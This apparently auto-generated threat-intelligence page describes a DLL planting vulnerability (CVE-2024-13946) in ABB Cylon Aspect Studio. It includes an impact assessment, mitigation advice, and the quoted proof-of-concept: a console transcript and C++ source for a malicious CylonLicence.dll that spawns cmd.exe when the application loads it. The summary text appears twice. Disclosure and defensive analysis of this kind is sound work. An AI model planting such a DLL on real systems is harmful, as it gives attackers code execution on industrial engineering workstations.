ABB Cylon Aspect Studio 3.08.03 - Binary Planting
ABB Cylon Aspect Studio 3.08.03 - Binary Planting
AI Analysis
Technical Summary
The security threat pertains to a binary planting vulnerability in ABB Cylon Aspect Studio version 3.08.03 and earlier. Binary planting is a technique where an attacker places a malicious DLL file in a location where a legitimate application will load it instead of the intended DLL, leading to arbitrary code execution. In this case, the vulnerable application attempts to load a DLL named 'CylonLicence.dll' via the Java System.loadLibrary call. If the legitimate DLL is missing or not properly secured, an attacker can place a malicious DLL with the same name in the application's working directory or other search paths. The provided exploit code, written in C, demonstrates this by implementing a malicious DLL that, upon being loaded, spawns a new command shell process (cmd.exe) using ShellExecuteW. This allows an attacker to execute arbitrary commands with the privileges of the user running the Aspect Studio software. The exploit was tested on Windows 10 with OpenJDK 64-bit, indicating the environment where the vulnerability is exploitable. The vulnerability is local, requiring the attacker to have write access to the directory where the application loads DLLs, which may be possible through other means such as social engineering or prior access. The lack of a patch link suggests that no official fix was available at the time of disclosure. The vulnerability is tracked as CVE-2024-13946. The exploit does not require user interaction beyond running the vulnerable application, and no authentication is needed to trigger the DLL loading once the malicious DLL is planted. This vulnerability affects the confidentiality, integrity, and availability of the affected system by enabling arbitrary code execution. Since ABB Cylon Aspect Studio is an industrial automation and control software product, exploitation could lead to disruption or manipulation of industrial processes.
Potential Impact
For European organizations, especially those in industrial sectors such as manufacturing, energy, utilities, and building automation, this vulnerability poses a significant risk. ABB is a major supplier of industrial control systems and automation software across Europe, and Aspect Studio is used for designing and managing control projects. Successful exploitation could allow attackers to execute arbitrary code on engineering workstations or servers, potentially leading to unauthorized control over industrial processes, data theft, sabotage, or disruption of critical infrastructure. The local nature of the exploit means attackers may need initial access to the system, but once achieved, they can escalate privileges or maintain persistence. This could impact operational continuity, safety, and compliance with regulatory requirements such as NIS2 Directive and GDPR if sensitive data is compromised. The medium severity rating reflects the need for local access but also the high impact on industrial environments. The absence of known exploits in the wild currently reduces immediate risk but does not eliminate the threat, especially as exploit code is publicly available.
Mitigation Recommendations
1. Restrict write permissions on directories where ABB Cylon Aspect Studio loads DLLs, especially the application installation and working directories, to prevent unauthorized DLL planting. 2. Implement application whitelisting or code integrity policies (e.g., Windows Defender Application Control) to ensure only trusted DLLs are loaded by the application. 3. Monitor file system changes in the application directories for unexpected DLL files or modifications. 4. Run ABB Cylon Aspect Studio with the least privileges necessary to limit the impact of potential exploitation. 5. Isolate engineering workstations from general user networks and limit access to trusted personnel only. 6. Regularly audit and update Java runtime environments and related dependencies to reduce attack surface. 7. Engage with ABB for any available patches or updates addressing this vulnerability and apply them promptly once released. 8. Use endpoint detection and response (EDR) solutions to detect suspicious DLL loads or process creations such as unexpected cmd.exe invocations. 9. Educate users about the risks of running untrusted files or software in the context of industrial control systems. 10. Consider deploying application sandboxing or containerization to limit the scope of exploitation.
Affected Countries
Germany, France, Italy, United Kingdom, Netherlands, Sweden, Belgium, Poland, Spain, Czech Republic
Indicators of Compromise
- exploit-code: # Exploit Title: ABB Cylon Aspect Studio 3.08.03 - Binary Planting # Vendor: ABB Ltd. # Product web page: https://www.global.abb # Affected version: <=3.08.03 # Tested on: Microsoft Windows 10 Home (EN) OpenJDK 64-Bit Server VM Temurin-21.0.6+7 # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience # Advisory ID: ZSL-2025-5952 # Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5952.php # CVE ID: CVE-2024-13946 # CVE URL: https://www.cve.org/CVERecord/SearchResults?query=CVE-2024-13946 C:\> type project P R O J E C T .| | | |'| ._____ ___ | | |. |' .---"| _ .-' '-. | | .--'| || | _| | .-'| _.| | || '-__ | | | || | |' | |. | || | | | | || | ____| '-' ' "" '-' '-.' '` |____ ░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░▒▓███████▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓███████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░ ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░ ░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░ ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░ C:\Aspect\Aspect-Studio-3.08.03> del CylonLicence.dll C:\Aspect\Aspect-Studio-3.08.03> type aspect.bat REM 64bit parameters jre\bin\javaw -Dormlite.networkpoint.load=true -Dfile.encoding="UTF-8" -DlookAndFeel=nimbus -DMapGraphic.forceLoad=0 -DBACnet.discovery.driverPort=4224 -DBACnet.discovery.debugLevel=0 -Djava.library.path=. -DportPool.maxPortWaitTime=10000 -DOverride.enabled=false -Dlog4j.configuration=./log4j.aspectstudio.properties -Dswing.noxp=true -Dsun.java2d.d3d=false -Dsun.java2d.noddraw=true -XX:+UseG1GC -XX:MaxGCPauseMillis=200 -XX:InitiatingHeapOccupancyPercent=25 -Xss256k -Xms1024m -Xmx4096m -jar AspectStudioObf.jar C:\Aspect\Aspect-Studio-3.08.03-a09>aspect.bat C:\Aspect\Aspect-Studio-3.08.03-a09>REM 64bit parameters C:\Aspect\Aspect-Studio-3.08.03-a09>jre\bin\javaw -Dormlite.networkpoint.load=true -Dfile.encoding="UTF-8" -DlookAndFeel=nimbus -DMapGraphic.forceLoad=0 -DBACnet.discovery.driverPort=4224 -DBACnet.discovery.debugLevel=0 -Djava.library.path=. -DportPool.maxPortWaitTime=10000 -DOverride.enabled=false -Dlog4j.configuration=./log4j.aspectstudio.properties -Dswing.noxp=true -Dsun.java2d.d3d=false -Dsun.java2d.noddraw=true -XX:+UseG1GC -XX:MaxGCPauseMillis=200 -XX:InitiatingHeapOccupancyPercent=25 -Xss256k -Xms1024m -Xmx4096m -jar AspectStudioObf.jar C:\Aspect\Aspect-Studio-3.08.03> type AspectStudio.class ... ... System.loadLibrary("CylonLicence"); } catch (Throwable t) {} LoggerUtil.logger.error("Error loading license DLL", t); } } ... ... C:\Aspect\Aspect-Studio-3.08.03> cd logs C:\Aspect\Aspect-Studio-3.08.03\logs>type AspectStudio.log ERROR: 2025-01-16 16:47:58,579 Error loading license DLL [main] java.lang.UnsatisfiedLinkError: no CylonLicence in java.library.path at java.lang.ClassLoader.loadLibrary(ClassLoader.java:1867) at java.lang.Runtime.loadLibrary0(Runtime.java:870) at java.lang.System.loadLibrary(System.java:1122) at com.aamatrix.util.AspectStudio.<clinit>(AspectStudio.java:42) at com.aamatrix.vib.rrobin.CylonLicense.<init>(CylonLicense.java:18) at com.aamatrix.vib.rrobin.LicenseService.<init>(LicenseService.java:38) at com.aamatrix.vib.rrobin.LicenseService.<clinit>(LicenseService.java:34) at com.aamatrix.projectmanager.AspectStudio.<clinit>(AspectStudio.java:52) at java.lang.Class.forName0(Native Method) at java.lang.Class.forName(Class.java:348) at com.aamatrix.projectmanager.AspectStudioLauncher.main(AspectStudioLauncher.java:70) ... ... C:\DLL-Mala> type CylonLicence.cpp #define WIN32_LEAN_AND_MEAN #include <windows.h> #include <shellapi.h> extern "C" __declspec(dllexport) DWORD WINAPI ExecuteCmdThread(LPVOID lpParam) { ShellExecuteW(NULL, L"open", L"cmd.exe", L"/c start", NULL, SW_SHOWNORMAL); return 0; } extern "C" __declspec(dllexport) BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: CreateThread(NULL, 0, ExecuteCmdThread, NULL, 0, NULL); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }
ABB Cylon Aspect Studio 3.08.03 - Binary Planting
Description
ABB Cylon Aspect Studio 3.08.03 - Binary Planting
AI-Powered Analysis
Technical Analysis
The security threat pertains to a binary planting vulnerability in ABB Cylon Aspect Studio version 3.08.03 and earlier. Binary planting is a technique where an attacker places a malicious DLL file in a location where a legitimate application will load it instead of the intended DLL, leading to arbitrary code execution. In this case, the vulnerable application attempts to load a DLL named 'CylonLicence.dll' via the Java System.loadLibrary call. If the legitimate DLL is missing or not properly secured, an attacker can place a malicious DLL with the same name in the application's working directory or other search paths. The provided exploit code, written in C, demonstrates this by implementing a malicious DLL that, upon being loaded, spawns a new command shell process (cmd.exe) using ShellExecuteW. This allows an attacker to execute arbitrary commands with the privileges of the user running the Aspect Studio software. The exploit was tested on Windows 10 with OpenJDK 64-bit, indicating the environment where the vulnerability is exploitable. The vulnerability is local, requiring the attacker to have write access to the directory where the application loads DLLs, which may be possible through other means such as social engineering or prior access. The lack of a patch link suggests that no official fix was available at the time of disclosure. The vulnerability is tracked as CVE-2024-13946. The exploit does not require user interaction beyond running the vulnerable application, and no authentication is needed to trigger the DLL loading once the malicious DLL is planted. This vulnerability affects the confidentiality, integrity, and availability of the affected system by enabling arbitrary code execution. Since ABB Cylon Aspect Studio is an industrial automation and control software product, exploitation could lead to disruption or manipulation of industrial processes.
Potential Impact
For European organizations, especially those in industrial sectors such as manufacturing, energy, utilities, and building automation, this vulnerability poses a significant risk. ABB is a major supplier of industrial control systems and automation software across Europe, and Aspect Studio is used for designing and managing control projects. Successful exploitation could allow attackers to execute arbitrary code on engineering workstations or servers, potentially leading to unauthorized control over industrial processes, data theft, sabotage, or disruption of critical infrastructure. The local nature of the exploit means attackers may need initial access to the system, but once achieved, they can escalate privileges or maintain persistence. This could impact operational continuity, safety, and compliance with regulatory requirements such as NIS2 Directive and GDPR if sensitive data is compromised. The medium severity rating reflects the need for local access but also the high impact on industrial environments. The absence of known exploits in the wild currently reduces immediate risk but does not eliminate the threat, especially as exploit code is publicly available.
Mitigation Recommendations
1. Restrict write permissions on directories where ABB Cylon Aspect Studio loads DLLs, especially the application installation and working directories, to prevent unauthorized DLL planting. 2. Implement application whitelisting or code integrity policies (e.g., Windows Defender Application Control) to ensure only trusted DLLs are loaded by the application. 3. Monitor file system changes in the application directories for unexpected DLL files or modifications. 4. Run ABB Cylon Aspect Studio with the least privileges necessary to limit the impact of potential exploitation. 5. Isolate engineering workstations from general user networks and limit access to trusted personnel only. 6. Regularly audit and update Java runtime environments and related dependencies to reduce attack surface. 7. Engage with ABB for any available patches or updates addressing this vulnerability and apply them promptly once released. 8. Use endpoint detection and response (EDR) solutions to detect suspicious DLL loads or process creations such as unexpected cmd.exe invocations. 9. Educate users about the risks of running untrusted files or software in the context of industrial control systems. 10. Consider deploying application sandboxing or containerization to limit the scope of exploitation.
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Technical Details
- Edb Id
- 52306
- Has Exploit Code
- true
- Code Language
- c
Indicators of Compromise
Exploit Source Code
Exploit code for ABB Cylon Aspect Studio 3.08.03 - Binary Planting
# Exploit Title: ABB Cylon Aspect Studio 3.08.03 - Binary Planting # Vendor: ABB Ltd. # Product web page: https://www.global.abb # Affected version: <=3.08.03 # Tested on: Microsoft Windows 10 Home (EN) OpenJDK 64-Bit Server VM Temurin-21.0.6+7 # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience # Advisory ID: ZSL-2025-5952 # Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5952.php # CVE ID: CVE-2024-13946 # CVE URL: https://www.cve.org/CVERecord/SearchRes... (4589 more characters)
Threat ID: 68489d977e6d765d51d52bcd
Added to database: 6/10/2025, 9:03:19 PM
Last enriched: 6/11/2025, 9:15:47 PM
Last updated: 8/12/2025, 6:24:48 AM
Views: 16
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